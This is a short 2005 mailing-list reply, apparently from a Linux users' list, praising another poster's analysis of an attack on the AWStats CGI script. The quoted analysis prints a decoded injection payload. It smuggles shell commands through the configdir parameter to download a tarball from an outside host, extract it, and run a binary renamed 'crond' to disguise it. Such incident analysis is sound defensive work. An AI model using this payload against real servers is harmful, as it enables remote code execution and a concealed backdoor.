Security Breach

[Brian Fahrlander]

On Fri, 2005-03-04 at 17:58 +0000, Paul Howarth wrote:

> Replace the url-encoded characters and you get:
> 
> /cgi-bin/awstats.pl?configdir=|echo ;echo b_exp;cd /tmp;curl -0 wget 
> zburchi.idilis.ro/badboy.tar.gz;tar -zxvf badboy.tar.gz;cd psybnc;mv 
> mech crond;export PATH=;crond;echo e_exp;%00
> 
> So the attacker has tricked the script into executing a set of shell 
> commands, which include changing directory to /tmp, downloading a 
> tarball from a Romanian site, extracting that tarball and then executing 
> a program from the downloaded and extracted tarball, after renaming it 
> to "crond" in an effort to disguise it.

   Damned fine research.  Good job; I'm impressed.

-- 
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Brian Fahrländer                 Christian, Conservative, and Technomad
Evansville, IN                                http://www.fahrlander.net 
ICQ: 5119262                                          AIM: WheelDweller
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